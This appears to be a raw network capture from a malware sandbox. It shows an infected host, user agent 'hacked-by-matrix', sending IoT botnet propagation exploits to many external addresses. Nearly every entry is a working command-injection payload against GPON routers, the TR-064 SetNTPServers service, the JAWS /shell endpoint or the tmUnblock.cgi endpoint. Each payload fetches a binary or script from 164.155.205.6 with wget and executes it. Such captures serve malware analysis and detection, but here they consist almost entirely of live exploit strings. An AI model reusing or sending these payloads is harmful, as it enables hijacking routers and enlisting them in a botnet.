Mar 2, 2024 12:37:54.059056997 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1076	192.168.2.23	43738	118.124.20.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.059056997 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1077	192.168.2.23	42894	37.250.176.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.059088945 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1078	192.168.2.23	39154	212.219.57.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.059113979 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1079	192.168.2.23	47414	34.160.164.247	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.436229944 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1080	192.168.2.23	56658	208.169.73.237	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.488740921 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:54.632097006 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1081	192.168.2.23	47418	34.160.164.247	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.523894072 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1082	192.168.2.23	56662	208.169.73.237	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.632168055 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:54.790275097 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1083	192.168.2.23	50226	175.227.10.169	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.659379005 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:54.957012892 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Sat, 02 Mar 2024 11:37:54 GMT Content-length: 0
Mar 2, 2024 12:37:55.774779081 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Sat, 02 Mar 2024 11:37:54 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1084	192.168.2.23	51414	1.0.237.73	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.745031118 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1085	192.168.2.23	55510	27.239.169.152	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.923357964 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1086	192.168.2.23	50276	175.227.10.169	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.960994959 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:56.512953997 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:56.819125891 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Sat, 02 Mar 2024 11:37:56 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1087	192.168.2.23	51464	1.0.237.73	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:55.124772072 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1088	192.168.2.23	55516	27.239.169.152	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:55.209894896 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:56.672599077 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1089	192.168.2.23	49788	69.14.246.173	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:55.481904984 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1090	192.168.2.23	36668	97.120.186.205	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:55.543409109 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:59.708719969 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:59.903625965 CET	90	IN	HTTP/1.1 400 Bad Request Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 62 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 62 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 Data Ascii: <html><head></head><body><b>400 Bad Request</b></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1091	192.168.2.23	49876	69.14.246.173	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:55.613120079 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1092	192.168.2.23	51570	174.134.131.36	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:56.845983028 CET	258	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:57.025836945 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Sat, 02 Mar 2024 11:37:57 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1093	192.168.2.23	36580	93.127.69.90	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:56.880227089 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:57.103591919 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Sat, 02 Mar 2024 11:37:55 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1094	192.168.2.23	56924	172.65.51.202	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.002083063 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:57.500503063 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1095	192.168.2.23	56068	172.65.222.139	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.002108097 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:57.500502110 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1096	192.168.2.23	43678	5.239.255.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:57.065838099 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1097	192.168.2.23	35754	42.214.213.107	443

Timestamp	Bytes transferred	Direction	Data
